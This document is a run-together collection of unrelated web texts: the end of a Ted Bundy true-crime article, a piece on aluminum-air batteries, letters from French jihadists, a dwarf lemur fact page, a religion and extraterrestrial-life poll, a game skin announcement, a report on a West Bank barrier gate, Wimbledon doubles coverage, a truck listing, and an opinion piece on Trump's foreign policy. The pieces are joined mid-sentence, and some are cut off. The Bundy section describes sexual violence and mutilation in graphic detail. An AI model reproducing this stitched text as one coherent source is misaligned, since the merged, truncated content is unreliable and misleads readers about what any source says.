He was extradited to Colorado to stand trial for the killing of Caryn Campbell, and managed to befriend the jailers who escorted him to and from the proceedings. In a testament to Bundy's ability to set people at ease and con anyone, he was able to convice his handlers to let him use the Pitkin County courthouse's law library unsupervised. Once he was out of their sight, he opened a second story window and jumped.
He was found six days later, cold, hungry, and exhausted, driving a stolen car through Aspen.
The Campbell trial was moved to Colorado Springs, but Bundy again had other plans. He was patient and observant and became familiar with the guards' habits and routines. He also began purposely losing weight, and on the night of December thirtieth, 1977, was thin enough to remove a ceiling tile and crawl through the ceiling of his cell. He made his way to the deputies' living quarters, stole clothes to replace his inmate jumpsuit, and disappeared.
His absence was not noticed until noon that day.
Florida
If Bundy was a madman during the Washington, Colorado, Utah, and Idaho, killings, he disentegrated further while in Florida. It was not long after arriving in Tallahassee that he visited the Chi Omega sorority house and committed the series of crimes for which he may be best known for - and marked the first time a witness saw Bundy leaving the scene of an obvious murder.
Lisa Levy, Margaret Bowman, Karen Chandler, and Kathy Kleiner were asleep in their beds when Bundy came calling, carrying either a crowbar or a thick branch. (Bark was found in one of the victim's hair.) The attacks that January night were not nearly as calculating as Bundy's previous murders, evidence that he may have been deteriorating mentally. In fact, a housemate came home to find a back door unlocked - and Bundy, still carrying a bloody club-like object, leaving through the front door. The housemate searched the quiet residence and found Chandler and Kleiner in their bedroom, bludgeoned but alive. Paramedics led Chandler from the house with a bucket beneath her chin to catch the blood, and several of her teeth were found scattered in her bed. Kleiner had also been severly bludgeoned, both girls suffering from broken jaws. Before searching the home further, the housemate called the police.
It was a wise choice.
Police found the brutalized bodies of Levy and Bowman still lying in their beds. Levy was strangled and beaten, and had been raped and sodomized with a plastic bottle. (The bottle was later found under her bed, covered in blood and hair.) Her right nipple had nearly been bitten off at the moment of or shortly following her death, and there were bitemarks all over her body. A nylon stocking was still knotted around Bowman's neck, and deep, crowbar shaped wounds had caved in her skull. The crime scene was not a tidy, nearly bloodless scene like that of previous murders. This was uncontrolled viciousness.
That same night, at a seperate location, Bundy beat another young woman, Cheryl Thomas, as she slept. She was found in her bedroom alive but suffering from five skull fractures, a broken jaw, and a dislocated shoulder. Bundy had beaten her so badly that she would sustain permanent hearing loss and problems with equilibrium. A pantyhose mask was also found in her semen-stained bedsheets.
The Chi Omega murders and the beatings of Kleiner, Chandler, and Thomas became a high priority for local police. Feeling the heat, Bundy fled to Lake City, FL, where he committed his last - and one of his most brutal - murders.
At twelve years old Kimberly Leach was Bundy's youngest victim. While at school on the morning of February ninth, she left class to get her purse, which she'd left in another building. She was seen a short time later talking to a man in a white van, but never returned to class. Her body was found on April twelfth, near the Suwanee River State park, dumped facedown in an abandoned pig sty. Some of her clothes had been removed and were piled next to her body. An exact cause of death could not be determined due to decomposition - she was nearly mummified - but the damage to her neck and chest area, along with the position of her body, indicated that she had probably been kneeling on all fours when her throat was cut from behind. Bite marks were also found on her buttocks, and those bite marks would be a key point in helping convict Bundy of her murder.
After killing Leach, Bundy abandoned the van and stole another vehicle. He was stopped by police while driving, but escaped when the officer was checking the car's license plates. He stole a Volkswagen and fled Tallahassee, but authorities caught up with him in Pensacola. A policeman recognized the plates on the vehicle as stolen, and pulled the car over. Bundy attempted to run away, even feigning a gunshot wound when officers fired at him. After a short struggle he was handcuffed and arrested, but this time he would not escape.
While Bundy was hiding out in Florida, the FBI had added him to their Ten Most Wanted list. At first he refused to give investigators his real name, using the alias Chris Hagen, although it was not long before his real indentity came to light. In July 1978 he was indicted for the murders of Lisa Levy, Margaret Bowman, and, to be tried seperately from the Chi Omega killings, Kimberly Leach.
Bundy was convicted of the Levy and Bowman murders and sentenced to death on July thirty-first.
The Leach trial began in the winter of 1980, and it was during this trial that Bundy took advantage of a Florida allowing any declaration of marriage inside a courtroom to be valid and legally binding. While questioning his girlfriend Carol Boone, who'd struck up a relationship with him during the previous trial, he managed to work a marriage proposal into the questioning (As long as vows are said in a courtroom, before a judge, the union is considered valid.) Bundy the serial killer was now a married man.
Just hours after Bundy's surreptitious marriage proposal to Boone, he was sentenced to die in the electric chair for the murder of Kimberly Leach.
Bundy would spend the better part of the next decade on Florida's death row. He even fathered a child with Carol Boone, who later moved out of state, her devotion to the man she referred to as 'Bunny' ebbing. While on death row Bundy spoke to many journalists, writers, and police investigators, all the while maintaining his innocence. He consented to an extensive interview with Christian fundamentalist Dr. James Dobson on the dangers of pornography - without admitting his guilt, of course. Bundy even offered his assistance with the then-ongoing investigation into Seattle's notorious Green River murders, later documented in Dr. Robert Keppel's book The Riverman: Ted Bundy and I Hunt for the Green River Killer. Bundy considered himself an expert on serial murder, and spent hundreds of hours ruminating with Keppel on the killings. (He was, for a time, considered a suspect in some of the Green River killings, but the real killer, Gary Leon Ridgway, was captured more than decade later, with no help from Bundy. Ridgway had left more than fifty victims in his wake.) Shortly before his execution, Bundy also opened up to Dr. Keppel about his own crimes, and spoke at length with authors Stephen Michaud and Hugh Aynsworth. The books written by Keppel, as well as Michaud and Aynsworth's joint efforts, Conversations with a Killer and The Only Living Witness, are excellent and give great insight into Bundy's mind. He was a con man and a master manipulator the very end. In fact, shortly before his death, Bundy tried to buy time for himself by promising to confess to all the murders he'd committed.
Authorities didn't buy it. He'd tried this tactic before and had not come through. Ted Bundy was never going to confess to all that he had done - he enjoyed knowing what others did not. His secrets were his own.
Ted Bundy went to the execution chamber on January twenty-fourth, 1989. Outside the prison where he was to be executed by electrocution, crowds had gathered, chanting, "Fry, Bundy, fry!" and cheering for his death. Local radio stations played the sound of bacon frying. There was a festive atmosphere outside as the crowds - and the nation - awaited his death.
The end for Bundy was anticlimatic. There was no sudden confession or show of remorse. He hugged his mother stiffly, nodded somberly to investigators he had come to know, and was then strapped into Florida's infamous electric chair, Old Sparky. According to Aynesworth and Michaud's The Only Living Witness, the first set of volts stunned him, the second rendered Bundy unconscious, and the third brought death. When the black hood covering his face was removed, his eyes were half open, but they were unseeing. A doctor pronounced Bundy dead at 7:16 a.m.
It has been rumored that his executioner was female.
Bundy's remains were cremated, his ashes scattered in the Cascade mountains of Washington state, near the place where he secreted so many bodies of so many women.
The Fallout
The fallout from the Ted Bundy case may never truly disappear. Several of his victims were never found, leaving their parents with no knowledge of what happened to their daughter, no knowledge of where she is at or if she will ever be found. For these people, there will always be questions left unanswered.
Bundy himself was not the suave, handsome young man gone wrong the media is so bent on portraying him as. He was a brutal manipulator who murdered at least thirty-six women over the span of nearly five years. He promised time and again to reveal the location of his victims, and then reniged when the time came to tell the truth. Bundy could not tell the truth. He was unrepentant to the end.
The crimes Bundy committed, and the acts he performed on the bodies of his victims, were brutal beyond comprehension. After his incarceration, it was discovered that Bundy had decapitated at least a dozen of his victims with a hacksaw. He kept the severed heads in his room, along with the hands of some victims, before finally disposing of them. Some of the skulls were found with the front teeth broken out, and whether this is from being beaten or for a darker purpose we are not sure. A compulsive necrophiliac, Bundy would visit his victims' bodies over and over again at the Taylor Mountain site. He would lie with them for hours, all night at times, applying makeup to their corpses and violating their remains until putrefication forced him to abandon the remains. (Not long before his death, Bundy admitted to returning to the corpse of Georgann Hawkins for purposes of necrophilia.) He may very well have killed far more women than we realize, for when Bundy was confronted with the body count, he said to add 'one more digit, and you'll have it'. Whether this means there were thirty-seven murders or more than one hundred, we will never know. Even before the murder of Lynda Ann Healy and the beating of Joni Lenz, another coed had been beaten and raped so forcefully with a vaginal speculum that a hole had been punched in her vaginal wall. Although he was never convicted of the attack, Bundy worked for a medical supply company at the time - which is where he acquired the plaster for the mock casts he would later use.
In the final prison interview before his execution, Bundy spoke with author Hugh Aynsworth. The two reminisced on the process of writing Conversations with a Killer, and Bundy waxed philosophical to Aynsworth on where his life had taken him.
"I'm glad, too. [For agreeing to do the book.] I think it was important. That's why I feel that all this was not a waste. It started to put me on the path to where I am now. Just thinking about this business was so terrible, so horrible. You really jarred me a couple of times, knocked me back from where I thought I was to exactly when it happened, but while I was facing all this from you - which wasn't easy for any given session - I slowly began to understand what I had to do next, how I had to restructure my life. I'm in a lot better shape now.
Oh well, who'll remember either one of us in a hundred years?"The Israeli company Phinergy, in conjunction with the aluminum manufacturer, Alcoa Canada, has introduced an electric car that is capable of traveling over 1,000 miles on one full charge of the battery. The vehicle accomplishes this by utilizing a combination of lithium-ion and aluminum-air storage technologies. Phinergy’s aluminum-air battery weighs 100 kilograms (220 pounds), and can power a car to travel up to 3,000 kilometers (over 1,860 miles). The best lithium-ion batteries, which are present in the Tesla Model S sedan, can only go 500 kilometers (310 miles) on a single charge and weigh five times as much as the aluminum-air battery.
The batteries utilize an air-electrode that can “breathe” in ambient air and extract oxygen from it, as opposed to common batteries, which store and release oxygen from the chemicals contained within it. This makes the battery lighter, which removes more stress on the electric car. An air battery is also different in that it does not need to replace or repair its cathode. This combination means more power for a longer period of time.
Phinergy’s batteries use a porous electrode with a wide surface area that captures the oxygen from the air. The battery also contains a silver-based catalyst in its electrode that does not allow carbon dioxide to interact with it. This enables the electrode to remain non-permeated by the CO2. The battery is also created from an economical and ecological source. It was created at the Alcoa smelter in Baie-Comeau, Quebec, where the company draws significantly from a hydroelectric source.
Those who hope to own an electric car capable of traveling over 1,000 miles on one single charge should note that the battery does decay over time. As the battery drains, the metal converts into aluminum hydroxide. The company did state that it would be very simple to install an indicator in the electric car that could notify the driver when this process has started. When fully depleted, the battery can easily be recycled to create more aluminum batteries. The operator of the vehicle will have to swap out his battery every few months, which is hoped to be done at newly-installed battery swapping centers (an electric car’s version of a gas station) which swaps the battery out with the convenience of refilling a gas tank with more efficiency according to a demo from Tesla, which swapped out a battery in 90 seconds.
The electric car that traveled over 1,000 miles on one charge in Montreal, Canada, was outfitted with a combination of an aluminum-air battery system and a lithium-ion battery system. The objective for this was that the car would be able to travel short distances on the lithium-ion charge (urban or suburban driving), but for longer distances (highway driving), the aluminum-air battery would be utilized. Instead of gasoline, operators of an electric car with an aluminum air battery would need to feed the engine tap water to stimulate the chemical reaction.
Phinergy is also experimenting with other metal-air technologies. They are currently developing a zinc-air battery which can possibly be more durable than it aluminum counterpart.
By Andres Loubriel
Sources:
ImpactLab
BrietBart
Computer WorldLetters from French jihadists home to their parents have revealed the misery, boredom and fear suffered by Islamist recruits as the gloss fades from their big adventure.
In a series of letters seen by Le Figaro newspaper, some of the 376 French currently fighting in Syria have begged for advice on how to return. Others have complained that, rather than participating in a noble battle, they have been acting as jihadi dogsbodies.
"I've basically done nothing except hand out clothes and food," wrote one, who wants to return from Aleppo. "I also help clean weapons and transport dead bodies from the front. Winter's arrived here. It's begun to get really hard."
Another writes: "I'm fed up. They make me do the washing up."
One Frenchman whinged that he wanted to come home because he was missing the comforts of life in France.
"I'm fed up. My iPod doesn't work any more here. I have to come back."
A third wrote fearfully: "They want to send me to the front, but I don't know how to fight."
Others were concerned, more prosaically, about the nationality of their baby, which was born in Syria and so not recognised by the French state.
And Le Figaro said that, among Islamist commanders, it had been noticed that some of the French were beginning to want to leave. One Frenchman was rumoured to have been beheaded when he explained to the emir that he wanted to follow his friend who had already left.
"Everyone knows that, the longer these people stay there, the worse it will be because having watched or committed attrocities, they become ticking time bombs," said one lawyer, quoted in Le Figaro.
"But, when it comes to having a discussion about whether France is ready to accept |
Orlando shooting victim. No coming out on Oprah for him. And the victim’s family – or at least his father –didn’t accept the son’s sexual orientation, adding further insult to the sad and sensational circumstances of his death.Diet + Hibernation
Typically solitary foragers, dwarf lemurs have a diverse diet consisting mostly of fruit and flower nectar. While they are thought to be less carnivorous than mouse lemurs, they too eat insects and small vertebrates. In preparation for torpor, a fat-tailed dwarf lemur can increase its body weight by 75g (about 40%) at a time. It effectively gorges during times of food abundance, to prepare for Madagascar’s dry season when its diet of fruits and flowers is scarce. In the winter months, most dwarf lemurs enter a state of hibernation. During torpor, dwarf lemurs experience a slow-down in their metabolic rates and show a marked decrease in activity and appetite which may last for up to seven months. During this period, these lemurs live off of fat stored in their tails. Hibernation begins as early as March in Madagascar, when the dwarf lemurs retreat to shelters such as those offered by hollow tree trunks. They sometimes do not emerge until the beginning of the wet, hot season in November. Up to five animals may be found huddled together during this period. To prevent obesity in our captive dwarf and mouse lemurs during their torpor period, the DLC has established a “winter diet” and a “summer diet.” The winter diet is initiated in early to mid-September, with a gradual decrease in rations fed to the animals. Starting in mid-March the diet is then increased gradually, reaching the full summer diet amount during the breeding season. Without the reduced rations of the winter months, the dwarf lemurs would continue to consume any and all food provided, which, coupled with a greatly reduced rate of metabolism, could result in extreme obesity!
Video: How does hibernation work?
Have you ever wondered how hibernation works? Or if humans could actually hibernate in real life? Check out this informative and adorably illustrated video by Sheena Faherty, one of DLC Director Anne Yoder’s former graduate students. While pursuing her Ph.D. here at Duke, Sheena studied the only primates capable of hibernation behavior: the fat-tailed dwarf lemurs of Madagascar! To watch, click the image above or click HERE. Then, if you'd like to learn even more about these amazing hibernating primates, check out the talk Sheena gave at the DLC’s 50th-anniversary scientific symposium: “Gene expression and physiological extremes in primate hibernation”. You can also read the article "Could People Hibernate? Lemurs Give Clues" published in National Geographic, which discusses how studying hibernation in fat-tailed dwarf lemurs can help people, too - from terminally ill patients to soldiers and astronauts. To learn even more, you can symbolically adopt Raven, a fat-tailed dwarf lemur, through the DLC’s Adopt a Lemur program. Because you'll receive quarterly updates about Raven and other fat-tailed dwarf lemurs here at the DLC, adopting Raven is a wonderful way to learn about this amazing species AND to support our lemurs' care.
Reproduction
The strong seasonality of breeding found in mouse and dwarf lemurs depends upon a variable “photoperiod,” or day length. Dwarf and mouse lemurs breed at the DLC from mid-April through July. Gestation is 58-62 days. Both species commonly have litters of two or more offspring. All captive dwarf lemurs are provided with a wide variety of nestboxes, ranging from PVC tubes of varying sizes, to wooden boxes, to suspended enrichment boxes, all suitable for sleeping and raising young. Mothers give birth in the nestboxes and generally will keep their infants hidden inside these shelters. If they need to move their offspring, they do so by carrying them in their mouths. Mouse and dwarf lemur offspring of up to three weeks of age are transported by the mother in this fashion, but by the time the infants are two months old they are behaving much like adults and are capable of independent locomotion. On average, mouse and dwarf lemurs reach sexual maturity at one year of age, although females generally are not capable of giving birth until they are 18 months of age. In the wild, juvenile dwarf lemurs tend to enter their first period of dormancy later than adults, perhaps providing the youngsters with a period of reduced feeding competition in which to put on additional pre-torpor weight.
Social Behavior
Dwarf lemurs forage in solitude at night. During the day they congregate, in packs of up to five to a tree hole, while they sleep. The composition of these sleeping groups changes seasonally, and often animals do choose to sleep alone. Sleeping sites generally consist of hollow trees, whose cavities have been cushioned with leaves. Otherwise, they are spherical nests made of dead leaves concealed in heavy undergrowth. Click HERE to see dwarf lemurs nesting in a tree hole in Tsihomanaomby, a subhumid forest in northern Madagascar. Females generally occupy “home ranges” in central areas of a group’s range, while a single male may overlap his home range with those of several females. Female prosimians, in general, are considered dominant to males.
Habitat
The species of dwarf lemur found at the DLC, Cheirogaleus medius, is native to the dry deciduous forests of western and southern Madagascar. These small lemurs can live in primary forests, established secondary forests as well as the gallery forest of the southern spiny desert. Dwarf lemurs may be responsible for pollinating some species of baobab trees. In addition, they play an important role in the ecology of the tropical forest by aiding in the dispersal of small seeds. As a part of their normal scent marking routine, dwarf lemurs often smear feces onto branches as they walk along well-traveled arboreal pathways through the forest, thereby providing a perfect microclimate for the germination of parasitic plants common in the forest.
Conservation Status
When only two species of dwarf lemurs were recognized -- one throughout the eastern forests, one in the western forests -- both were considered widespread and thus not highly endangered. However now that the genus has been reclassified into several species with more limited distribution, the conservation status of each species needs to be re-evaluated. Their small size, nocturnality, and ability to live in secondary forests may provide them with more protection; but, as with all lemurs of Madagascar, habitat destruction increasingly threatens their survival. Primary threats to dwarf lemurs' habitat include slash-and-burn agriculture, charcoal production, and brushfires. Duke currently houses 19 fat-tailed dwarf lemurs with 11 males and 8 females. The Lemur Center has seen success recently with singeltons, twins, and triplets born to two different mothers over the last three years.
Basic Facts
Classification Order: Primates; Suborder: Prosimii
Family: Cheirogaleidae
Genus: Cheirogaleus
Species: medius Related species Previously, only two species of dwarf lemurs were recognized: the greater dwarf lemur (Cheirogaleus major) native to the eastern forests and the fat-tailed dwarf lemur (Cheirogaleus medius) in the west. Now a total of seven species are recognized, based on differences in body size, ear characteristics, tail length, skull shape, dentition and pelage. Key facts Adult size: 0.4 – 0.6 pounds
Social life: solitary forager, strictly nocturnal, sleeps in groups of up to 5 individuals
Habitat: western dry deciduous forests
Diet: fruit, flowers (nectar), and occasional insects and small vertebrates
Lifespan: over 20 years in captivity
Sexual maturity: 1.5 years
Mating: extremely seasonal
Gestation: 61 – 64 days
Number of offspring : one to four infants per litter, one litter each year
DLC naming theme : birds (Woodcock, Waxwing, Hummingbird, etc.)
Malagasy name : Matavirambo, Kely Be-hohy, Tsidihy Fat-tailed dwarf lemurs survive long periods of food shortage by storing fat in their tails!
How You Can HelpEver since Copernicus formulated a heliocentric model of the universe in the 16th century, scientific discovery has posed uncomfortable questions for the religious faithful. The modern age is no different, as NASA's Mars rover Curiosity and other evidence suggest the possibility that Earthlings are not alone in the universe — which many find to be at odds with fundamental theological teachings.
At Survata, we were curious how religious affiliation relates to a belief in extraterrestrial life. To test this, we used our survey system to poll 5,886 Americans. We asked the respondents to state a religious affiliation and then asked "Do you believe in the existence of extraterrestrial life?"
Of the 5,886 Americans polled, 37% affirmed a belief in the existence of extraterrestrial life, 21% denied such a belief, and 42% were uncertain, responding "I'm not sure."
Reconciling Religion
Belief in extraterrestrial life varies dramatically by religious affiliation (or lack thereof). Of those who identify as atheist or agnostic, 55% affirm a belief in extraterrestrial life compared to only 32% of Christians, meaning atheists and agnostics are 76% more likely than Christians to believe in the existence of life beyond our planet.
Denomination Classification
Furthermore, the results suggest that not all Christians think alike when it comes to extraterrestrial life. Among Christian denominations, Baptists (29%) and those selecting "Other" (27%) were found to be the least likely to affirm the existence of life outside our planet.
The Truth is Out There
While no earthly poll can provide insight into the contents of our vast universe, our results suggest that the prospect of extraterrestrial life resonates more among nonreligious groups. NASA's Mars rover Curiosity will have to provide some more concrete evidence to convince many Americans.
Got a pressing question? Create a Survata survey in minutes.
Footnotes for our fellow data geeks
We interviewed 5,886 online respondents from September 16 to September 18, 2013 You can download the underlying data here. You can analyze the underlying data in Statwing.
[emailpickup label_text="Liked this post? Don't miss the next" placeholder="Enter email address"]Hey everyone, SuperCakes here. I’m the product manager on Personalization (aka Skins Team). It’s been a little over a year since we launched chroma packs. And while we’ve always been excited about chromas as a product, after hearing from you, we realized we could make them better. Now we're hyped to share some news with you about our changes to chromas which are coming out soon and are tracking to hit PBE next week. Our first move was to go back to basics and revisit things from this perspective: _Why would I, as a player, want chromas?_ Here’s the thing. I love skins and have a lot of them. But there are certain skins I always go back to. Arcade Miss Fortune is one of my favorite skins, and looking at what you guys are playing, it’s one of your favorites, too. And if I can play her in a rainbow of options, that sounds pretty cool to me. Chromas are meant to deepen your experience with a piece of content you already own, love, and play the shit out of. It’s that simple. Next step, _How do we address your feedback?_ The things that were ringing loudest were around bundling, aesthetics, and the pricing of chromas, and that’s where we put the majority of our focus. **Bundling:** We’ve unpacked chromas so you can buy them individually. You can still buy them in bundles, though, for a discount. **Aesthetics:** Chromas are designed by the same folks that make skins, and we take our responsibility pretty seriously. We only want to introduce things into the game that improve the overall experience of playing League of Legends. We took a look at what we were making and found opportunities to improve with revamped color schemes, patterns, and textures. **Pricing:** Chromas will be priced at 290 RP each, and will also be available in discounted bundles for the collectors out there. For those of you who love a chance to spend IP, we’re also** introducing recurring IP sales which will take place twice a year.** The first IP sale goes from August 25, 2016 to September 8, 2016 and includes all chromas launched before August 2016. EDIT: Sorry for not mentioning this when I posted earlier, individual chromas will be available for 2000 IP each during the sale periods. All of the chromas released before this month will be in the first sale, so you can take a look now at which ones you want to save for! Bundle details will be available soon. Some of you also suggested that chromas could be a reward for mastery. We’re committed to improving mastery rewards, and with the release of Hextech Crafting this year, we’re thrilled to have a way to reward you for mastery across several of our content offerings, including a chance to get free skins. We won’t be launching chromas in Hextech Crafting at this time, but it’s something we’re thinking about for future iterations. We’ll get into more detail when the first wave of new chromas launches in a few weeks. For now, here’s a sneak peek of some of the aesthetic changes mentioned: http://i.imgur.com/lVMyruP.jpg What do you think of the changes? What would you like to see? Let us know! Play Safe! SuperCakes
Title
Body Cancel
SaveThe Israeli army decided last week to close the main gateway Palestinian farmers from four villages use to access their lands — which Israel cut them off from with the separation fence. After a protest the army re-opened the gate, but the incident shows how Israel controls every aspect of Palestinian life.
Photos and Text: Ahmad al-Bazz / Activestills.org
Since Israeli started building its separation barrier in the West Bank, Palestinian farmers living along the fence have been cut off from their agricultural lands t
When Israel started building its separation wall and fence through the West Bank over a decade ago, the route it chose cut many Palestinian farmers off from their lands. As a result of legal appeals and other arrangements, the army built gates in the fence and wall through which it permits the farmers to reach their lands on certain days and during certain hours.
Read also: A journey into the dark heart of Israel’s permit regime
Last week, the Israeli army’s Civil Administration, the military government in the West Bank, informed Palestinian farmers from four West Bank villages — Kafr Jammal, Kafr Zibad, Kafr Abbus and Kafr Sur — that the gate they use to reach their lands, which lie on the other side of the fence.
In order to reach their lands, the army told the farmers that they would have to use another gate near the village of Jayyous, about 15 kilometers from their usual gate near the village of Falamya. Some of the farmers told Activestills they believed the decision was the beginning of an attempt to confiscate their land. Israeli authorities often exploit an Ottoman law that permits the state to confiscate land that hasn’t been cultivated for a number of years.
At 6 a.m. on Sunday the farmers arrived at their usual gate near Falamya, the gate their were told would be closed. They staged a demonstration demanding that the gate be re-opened.
Following the protest, the army decided to re-open the gate, saying that the closure was a pilot program, which was scrapped in light of the residents’ protests.
On a normal day, Israeli soldiers open the gate at 6 a.m. to let the farmers access their lands and reopen it at noon, allowing them to come back. Sometimes, when the farmers finish their work early, they have to wait for hours until the soldiers come to open the gate.
The International Court of Justice has published its opinion that the route of the wall is illegal and called on Israel to cease construction of it. Israel claimed at the time that the route was temporary and did not constitute a change to the Green Line or attempted annexation.
The route of the separation fence/wall, however, does not follow the 1949 Green Line, which most of the world recognizes as the interim border between Israel and the West Bank. It snakes through the Palestinian territory and Israeli officials have even admitted that it is intended to be a future border, which would constitute illegal annexation.
Further, Palestinians whose privately owned land lies trapped on the other side of the separation barrier but still within the West Bank — the seam zone — must obtain permits from the Israeli Civil Administration. Often times such permits are arbitrarily denied, and are often used as leverage — one of many ways that Israel maintains its undemocratic control over the occupied population of Palestinians.
For additional original analysis and breaking news, visit +972 Magazine's Facebook page or follow us on Twitter. Our newsletter features a comprehensive round-up of the week's events. Sign up here.Such was Martina Hingis’s excitement at winning her first Wimbledon title in 17 years in the ladies’ doubles on Saturday night that she could not get to sleep until 3am – but if anything she was even more dazzling less than 24 hours later as she and the Indian maestro Leander Paes took the mixed doubles crown.
Between them Hingis and Paes have a combined age of 76 but they were far too clever for the crash-bang tennis of the fifth seeds Alexander Peya and Timea Babos as they galloped to a 6-1, 6-1 victory in just 41 minutes.
In the early part of her career, Hingis was known as the Swiss Miss. But that moniker was entirely inappropriate on an evening where she was instrumental in producing one of the most dominant performances on Centre Court of these entire championships. It was so good it could be released as an instructional DVD on how to play mixed doubles tennis.
“My body was hurting here, there and everywhere but the adrenaline got me back out there,” said Hingis, who took the ladies’ doubles with her partner Sania Mirza. “So to also bring this title home was incredible.”
As she spoke Paes nodded before adding his own tribute. “Everyone knows what Martina has achieved over the years at Wimbledon. To come out there and do it back to back, the physical and mental effort that it takes to win two titles in the same week, is something really, really special.”
Hingis’s story loses nothing in its retelling: she claimed her first ladies’ doubles title at Wimbledon in 1996 aged 15, and became the youngest singles’ champion in 110 years when she won the title aged 16 years and nine months. But after winning six grand slam titles and nine women’s doubles titles she retired at 22 after two ankle surgeries. She returned in 2005 and climbed into the top 10, but was banned for two years in 2007 after testing positive for cocaine. And now she is back again, just two months short of her 35th birthday, as arguably the best women’s doubles player in tennis.
And what is even more impressive is that in an era of power tennis, Hingis is a glorious throwback. She strokes the ball rather than throttles it, but her extra-sensory powers of anticipation combined with a mathematician’s appreciation of angles makes her absolutely formidable on a doubles court. Her volleying at the net stood up to everything that the muscular Peya, in particular, threw at her.
In mixed doubles the women’s serve is the most threatened because it is slower. But while the Hingis serve was the slowest on court, Paes’ timing at the net was staggering. Repeatedly Hingis would get a first serve in and the 42-year-old Paes would anticipate the return to put away a winner. As Hingis put it afterwards: “He was striking winners right and left. I was like: OK, if I can just keep up with him a little bit. The chemistry we had was incredible.”
Hingis and Paes broke early and won their first 10 points on serve to race to a 4-1 lead. Another break of serve meant they were 5-1 up in 17 minutes and the first set followed two minutes later.
Paes appears to have got better with age: 12 of his 16 grand slam men’s doubles and mixed doubles titles have come in his 30s and 40s, and he became the oldest man to ever win a grand slam title when he and Hingis won the mixed doubles at the Australian Open in January. The hour of yoga she does every day surely helps.
The second set was just as one-sided. Just before halfway through it, there was a particularly telling statistic – Paes and Hingis had won 100% of their second-serve points, while Peya and Babos had managed just 14%. In truth, though, Paes and Hingis dominated everywhere. It seemed entirely appropriate that Paes sealed victory in 41 minutes with a masterful disguised return – and that they celebrated the standing ovation from the crowd by signing tennis balls and hitting them into the stands.
This was Paes’ fourth Wimbledon mixed doubles title – with four different partners – while Hingis was claiming her first. Afterwards Paes reflected on another of those wins, with Martina Navratilova in 2003, as he compared what he called “two legends of the game.”
“They’re both the two greatest female athletes in the planet that we have had in any sport,” he said. “In tennis Martina Navratilova and Martina Hingis are right at the top. Hingis probably has the best groundstrokes or return of serves I have ever seen. I still learn from her.”
Hingis now has five singles and 11 doubles titles to her name, but she is not finished yet. Afterwards she admitted she wanted to play in the mixed doubles at the Rio Olympics next year – and on this evidence whoever wins the battle between Roger Federer and Stan Wawrinka to play with her will be halfway towards a gold medal.This 1972 Chevrolet K10 4WD longbed (chassis CKF142Z163370) has been restored with new paint, interior, suspension and a rebuilt 454 in place of its original 350. Impressively specced with a 4-speed manual, front and rear limited slip differentials, and a nice, modest four inch lift over good looking Mickey Thompson aluminum wheels, it’s described as rust-free with very good driver cosmetics and is easily one of the most tasteful GM pick-up builds we’ve seen in years. Find it here on eBay in Pueblo, Colorado with no reserve.
Said to have been a lifelong California truck before relocating to Colorado in 2009, restoration included new paint around the same time. Photos show it to be holding up very nicely, though the seller does mention a handful of scratches picked up on the road since. All trim and moldings were replaced during restoration, as were bumpers and the grille. Rolling stock is spot-on perfect—these trucks always look good with chunky BFGoodrich raised letter tires over holed aluminum wheels. Note the twin exhaust exits and their angled exit just aft of the rear wheels—another ideally implemented detail.
Factory Cheyenne Super trim means the truck would have originally been fitted with a cloth bench, but blue vinyl arguably works even better in this application. Upholstery, carpets, door cards, dash pad, headliner and more were all replaced at the time of restoration, and though not installed, the original, working AM radio is included but not currently fitted—the dash opening remains unaltered. All lights are said to be functional, and the spray-on bed liner isn’t normally as shiny as seen in photos for which a water-based dressing was applied.
The engine bay has been just as nicely prepped as the rest of the truck, and is home to a rebuilt 454—a nice upgrade over the stock 350. Original A/C has been omitted due to bracket incompatibility, though the seller mentions available aftermarket systems for retrofitting—something we’d look into, especially if operable with factory dash controls.
This is one of a few chassis shots that seem to support rust-free claims.
Power steering, brakes (discs in front), a big block, 4-speed and 4WD are a great combo in any form, but this one’s outstanding looks and condition make it our new benchmark.Hillary Clinton is, without a doubt, a hawkish Democrat. She has been consistently to the interventionist right of the party mainstream on issues like the Iraq War, the Afghanistan surge, and arming the Syrian rebels.
Donald Trump, by contrast, has criticized the Iraq War and the Libya intervention. He's been skeptical of America's commitments to defend traditional allies in Europe and East Asia, and said the Middle East in general is "one big, fat quagmire" that the US should stay out of.
This sure makes it sound like Trump is some kind of dovish neo-isolationist, a principled skeptic of military intervention. Clinton seems like a superhawk by contrast. Steve Schmidt, a prominent Republican strategist who ran John McCain's 2008 campaign, put this theory well during an MSNBC appearance in early May: "Donald Trump will be running to the left as we understand it against Hillary Clinton on national security issues."
But the problem is that the way "we understand" Trump's national security position is bollocks. Trump isn't a leftist, nor is he a pacifist. In fact, Trump is an ardent militarist, who has been proposing actual colonial wars of conquest for years. It's a kind of nationalist hawkishness that we haven't seen much of in the United States since the Cold War — but has supported some of the most aggressive uses of force in American history.
As surprising as it may seem, Clinton is actually the dove in this race.
Trump wants to start wars for oil — literally
In the past five years, Trump has consistently pushed one big foreign policy idea: America should steal other countries' oil.
He first debuted this plan in an April 2011 television appearance, amid speculation that he might run for the GOP nomination. In the interview, Trump seemed to suggest the US should seize Iraqi oil fields and just operate them on its own.
"In the old days when you won a war, you won a war. You kept the country," Trump said. "We go fight a war for 10 years, 12 years, lose thousands of people, spend $1.5 trillion, and then we hand the keys over to people that hate us on some council." He has repeated this idea for years, saying during one 2013 Fox News appearance, "I’ve said it a thousand times."
Trump sees this as just compensation for invading Iraq in the first place. "I say we should take it [Iraq's oil] and pay ourselves back," he said in one 2013 speech.
During the 2016 campaign, Trump has gotten more specific about how exactly he'd "take" Iraq's oil. In a March interview with the Washington Post, he said he would "circle" the areas of Iraq that contain oil and defend them with American ground troops:
POST: How do you keep it without troops, how do you defend the oil? TRUMP: You would... You would, well for that— for that, I would circle it. I would defend those areas. POST: With U.S. troops? TRUMP: Yeah, I would defend the areas with the oil.
After US troops seize the oil, Trump suggests, American companies would go in and rebuild the oil infrastructure damaged by bombing and then start pumping it on their own. "You’ll get Exxon to come in there … they’ll rebuild that sucker brand new. And I’ll take the oil," Trump said in a December stump speech.
Trump loves this idea so much that he'd apply it to Libya as well, telling Bill O'Reilly in April that he'd even send in US ground troops ("as few as possible") to fight off ISIS and secure the country's oil deposits.
To be clear: Trump's plan is to use American ground troops to forcibly seize the most valuable resource in two different sovereign countries. The word for that is colonialism.
Trump wants to wage war in the name of explicitly ransacking poorer countries for their natural resources — something that's far more militarily aggressive than anything Clinton has suggested.
